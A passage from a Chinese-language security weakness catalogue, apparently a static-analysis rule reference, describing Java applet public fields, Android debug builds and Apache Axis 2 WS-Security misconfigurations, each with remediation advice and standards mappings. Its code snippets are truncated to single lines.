[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Unsafe Mobile Code: Unsafe Public Field
ABSTRACT
该程序违反了移动代码的安全编码原则,它声明了成员变量 public,而不是 final。
EXPLANATION
在 Applet 及其所使用的类中,所有 public 的成员变量都应声明 final,以防止攻击者未经授权,操纵或获取对 Applet 内部状态的访问权。
例 1:以下 Java Applet 代码错误地声明了成员变量 public,而不是 final。
1 | public final class urlTool extends Applet { |
移动代码,在本例中也就是 Java Applet,通过网络进行传递并在远程机器上运行。因为移动代码的编写者很难控制其所编写代码的运行环境,所以在安全上提出特别的要求理所当然。一个最大的环境威胁在于,移动代码可以伴随其他潜在的恶意移动代码一起运行。因为所有的主流 web 浏览器会在同一 JVM 中执行来自多个来源的代码,所以,许多移动代码的安全指导原则都很关注可以访问到运行着您程序的同一虚拟机的攻击者,避免他们操纵您的对象的状态和行为。
RECOMMENDATIONS
无论什么时候,尽可能把所有成员变量都设置为 private。通过设置和获取的方法提供针对 private 成员变量的可控制的访问方式。如果要求某个字段为公共访问,那么同时将其声明为 final。
例 2:例 1 中的代码可以使用以下任意一种方式进行重写:
1 | public final class urlTool extends Applet { |
REFERENCES
[1] G. McGraw Securing Java. Chapter 7: Java Security Guidelines
[2] MUTABLE-8: Define wrapper methods around modifiable internal state Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 493
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[8] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[11] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
环境配置
这部分包含源代码以外的所有内容,但对于即将创建的产品的安全仍至关重要。因为此分类中涵盖的问题与源代码没有直接关系,所以我们将其与其他分类分开。
Android Misconfiguration: Debug Information
Axis 2 Misconfiguration: Debug Information
Axis 2 Misconfiguration: Insecure Message Security
Axis 2 Service Provider Misconfiguration: Inbound WS-Security Not Enabled
Axis 2 Service Provider Misconfiguration: Missing Inbound Encryption
Axis 2 Service Provider Misconfiguration: Missing Inbound Signature
Axis 2 Service Provider Misconfiguration: Missing Inbound Timestamp
Axis 2 Service Provider Misconfiguration: Missing Outbound Encryption
Axis 2 Service Provider Misconfiguration: Missing Outbound Signature
Axis 2 Service Provider Misconfiguration: Missing Outbound Timestamp
Axis 2 Service Provider Misconfiguration: Outbound WS-Security Not Enabled
Axis 2 Service Provider Misconfiguration: Unsigned Inbound Timestamp
Axis 2 Service Provider Misconfiguration: Unsigned Outbound Timestamp
Axis 2 Service Provider Misconfiguration: WS-Security Not Enabled
Axis 2 Service Provider Misconfiguration: Weak Token
Axis 2 Service Requester Misconfiguration: Inbound WS-Security Not Enabled
Axis 2 Service Requester Misconfiguration: Missing Inbound Encryption
Axis 2 Service Requester Misconfiguration: Missing Inbound Signature
Axis 2 Service Requester Misconfiguration: Missing Inbound Timestamp
Axis 2 Service Requester Misconfiguration: Missing Outbound Encryption
Axis 2 Service Requester Misconfiguration: Missing Outbound Signature
Axis 2 Service Requester Misconfiguration: Missing Outbound Timestamp
Axis 2 Service Requester Misconfiguration: Outbound WS-Security Not Enabled
Axis 2 Service Requester Misconfiguration: Plain Text Password
Axis 2 Service Requester Misconfiguration: Unsigned Inbound Timestamp
Axis 2 Service Requester Misconfiguration: Unsigned Outbound Timestamp
Axis 2 Service Requester Misconfiguration: WS-Security Not Enabled
Axis 2 Service Requester Misconfiguration: Weak Token
Axis Misconfiguration: Debug Information
Axis Misconfiguration: Service Enumeration
Axis Service Provider Misconfiguration: Plain Text Password
Axis Service Provider Misconfiguration: Weak Token
Axis Service Requester Misconfiguration: Plain Text Password
Axis Service Requester Misconfiguration: Weak Token
Build Misconfiguration: Dynamic Dependency Version Usage
Build Misconfiguration: External Ant Dependency Repository
Build Misconfiguration: External Ivy Dependency Repository
Build Misconfiguration: External Maven Dependency Repository
ClassLoader Manipulation: Struts 1
Flex Misconfiguration: Debug Information
J2EE Misconfiguration: Cookies Disabled
J2EE Misconfiguration: Debug Information
J2EE Misconfiguration: Direct JSP Access
J2EE Misconfiguration: Duplicate Security Role
J2EE Misconfiguration: Duplicate Servlet Mapping
J2EE Misconfiguration: Excessive Servlet Mappings
J2EE Misconfiguration: Excessive Session Timeout
J2EE Misconfiguration: Incomplete Error Handling
J2EE Misconfiguration: Incomplete Error Handling - (404)
J2EE Misconfiguration: Incomplete Error Handling - (500)
J2EE Misconfiguration: Incomplete Error Handling - (throwable)
J2EE Misconfiguration: Insufficient Session ID Length
J2EE Misconfiguration: Invalid Servlet Name
J2EE Misconfiguration: Missing Authentication Method
J2EE Misconfiguration: Missing Data Transport Constraint
J2EE Misconfiguration: Missing Error Handling
J2EE Misconfiguration: Missing Filter Definition
J2EE Misconfiguration: Missing Security Role
J2EE Misconfiguration: Missing Servlet Mapping
J2EE Misconfiguration: Unsafe Bean Declaration
J2EE Misconfiguration: Weak Access Permissions
Password Management: Empty Password in Configuration File
Password Management: Password in Configuration File
Struts Misconfiguration: Duplicate Form Bean
Struts Misconfiguration: Invalid Path
Struts Misconfiguration: Missing Action Input
Struts Misconfiguration: Missing Exception Type
Struts Misconfiguration: Missing Form Bean
Struts Misconfiguration: Missing Form Bean Name
Struts Misconfiguration: Missing Form Bean Type
Struts Misconfiguration: Missing Form Property Type
Struts Misconfiguration: Missing Forward Name
Struts Misconfiguration: Missing Forward Path
WebSphere Misconfiguration: Missing Nonce
WebSphere Misconfiguration: Servlets Served By Class Name
WebSphere Service Provider Misconfiguration: Inbound WS-Security Not Enabled
WebSphere Service Provider Misconfiguration: Missing Inbound Encryption
WebSphere Service Provider Misconfiguration: Missing Inbound Signature
WebSphere Service Provider Misconfiguration: Missing Inbound Timestamp
WebSphere Service Provider Misconfiguration: Missing Outbound Encryption
WebSphere Service Provider Misconfiguration: Missing Outbound Signature
WebSphere Service Provider Misconfiguration: Missing Outbound Timestamp
WebSphere Service Provider Misconfiguration: Missing Timestamp Expiration
WebSphere Service Provider Misconfiguration: Outbound WS-Security Not Enabled
WebSphere Service Provider Misconfiguration: Unsigned Inbound Timestamp
WebSphere Service Provider Misconfiguration: Unsigned Outbound Timestamp
WebSphere Service Provider Misconfiguration: Weak Token
WebSphere Service Requester Misconfiguration: Inbound WS-Security Not Enabled
WebSphere Service Requester Misconfiguration: Missing Inbound Encryption
WebSphere Service Requester Misconfiguration: Missing Inbound Signature
WebSphere Service Requester Misconfiguration: Missing Inbound Timestamp
WebSphere Service Requester Misconfiguration: Missing Outbound Encryption
WebSphere Service Requester Misconfiguration: Missing Outbound Signature
WebSphere Service Requester Misconfiguration: Missing Outbound Timestamp
WebSphere Service Requester Misconfiguration: Missing Timestamp Expiration
WebSphere Service Requester Misconfiguration: Outbound WS-Security Not Enabled
WebSphere Service Requester Misconfiguration: Unsigned Inbound Timestamp
WebSphere Service Requester Misconfiguration: Unsigned Outbound Timestamp
WebSphere Service Requester Misconfiguration: Weak Token
Weblogic Misconfiguration: Missing Timestamp
Weblogic Misconfiguration: Weak Token
Android Misconfiguration: Debug Information
ABSTRACT
调试信息可帮助攻击者了解系统和制定攻击计划。
EXPLANATION
通过对 Android 应用程序的配置,系统可以生成调试二进制码。这些二进制码提供了详细的调试信息,它们不能用在生产环境中。<application>
标签的 debuggable 属性定义了已编译的二进制码是否应包含调试信息。
应用程序可使用调试二进制码为用户提供尽可能多的有关自身的信息。调试二进制码只能用于开发或者测试环境中,如果它们被部署到生产环境中,将会对安全造成危险。攻击者可以利用他们从调试输出中获得的其他信息,对应用程序所用的框架、数据库或其他资源发动攻击。
RECOMMENDATIONS
始终在禁用调试程序的情况下编译生产二进制码。这可以通过在您的应用程序配置文件中将 <application>
标签的 debuggable 属性设为 false 来实现,如下所示:
1 | <manifest> |
要创建一个安全的应用程序,必须将 debuggable 属性设置为 false。但重要的一点是,您的应用程序不会通过其他方式泄漏重要的系统信息。请确保您的代码不会向攻击者泄露可能用到的系统信息。
REFERENCES
[1] JavaDoc for Android Android
[2] Standards Mapping - Common Weakness Enumeration CWE ID 11
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M10 Lack of Binary Protections
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Axis 2 Misconfiguration: Debug Information
ABSTRACT
借助 SOAP Monitor 模块,攻击者可截取 SOAP 信息流。
EXPLANATION
Apache Axis 2 为开发人员提供了可通过 Java applet 监视输入和输出 SOAP 消息的实用程序。SOAP Monitor 将显示用于调用 Web 服务的所有 SOAP 消息。攻击者可使用该实用程序截取 Web 服务与其客户端之间的信息流。
RECOMMENDATIONS
从配置文件中删除对 SOAP Monitor 的引用,便可禁用 SOAP Monitor。具体来说,应确保 web.xml 不包含 servlet 或 servlet 到 SOAP Monitor 服务的映射。另外,还应确保 axis2.xml 中没有类似 <module ref=“soapmonitor”/>
的引用
REFERENCES
[1] Using the SOAP Monitor Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 215
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-11 Error Handling (P2)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[16] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
Axis 2 Misconfiguration: Insecure Message Security
ABSTRACT
Apache Axis 2 已配置为使用 REST,而 REST 没有消息安全标准。
EXPLANATION
如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。REST 自身不包含任何安全机制,因此它依靠传输层来保证消息的完整性和保密性。
下列配置可启用 REST:
1 | <axisconfig name="AxisJava2.0"> |
RECOMMENDATIONS
使用 Apache Axis 2 随附的 WS-Security 模块来保证消息的安全。WS-Security 是 SOAP 的扩展功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。WS-Security 可移除传输安全性 dependency,将其置于消息中。
下列配置可禁用 REST:
1 | <axisconfig name="AxisJava2.0"> |
REFERENCES
[1] Axis2 Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Inbound WS-Security Not Enabled
ABSTRACT
不要求 WS-Security 的服务提供程序,可能无法保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的增强功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并保护消息的安全。
若 Apache Axis 2 配置文件中缺少 InflowSecurity 参数,则表明未启用输入消息的安全性。
RECOMMENDATIONS
将该服务配置为对输入的请求使用 WS-Security。
此配置应包含 InflowSecurity 参数,如下例所示:
1 | <service> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Missing Inbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
下列 Apache Axis 2 Rampart 配置不要求对输入的消息进行加密,因为 <items>
标签不包含 Encrypt 指令:
1 | <service> |
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
RECOMMENDATIONS
将服务配置为只接受加密的消息。在 <items>
标签中添加 Encrypt 指令,便可完成此配置。
例如:
1 | <service> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Missing Inbound Signature
ABSTRACT
如果消息未经签名,则无法保证其完整性。
EXPLANATION
消息中未经签名的任何部分,都可能在接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码验证消息内容是否可信赖。
下列服务提供程序配置可让 Axis 2 接受未经签名的消息:
1 | <service> |
RECOMMENDATIONS
将该服务配置为对输入的请求验证签名。
下列服务提供程序配置可让 Axis 2 验证签名:
1 | <service> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 345
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
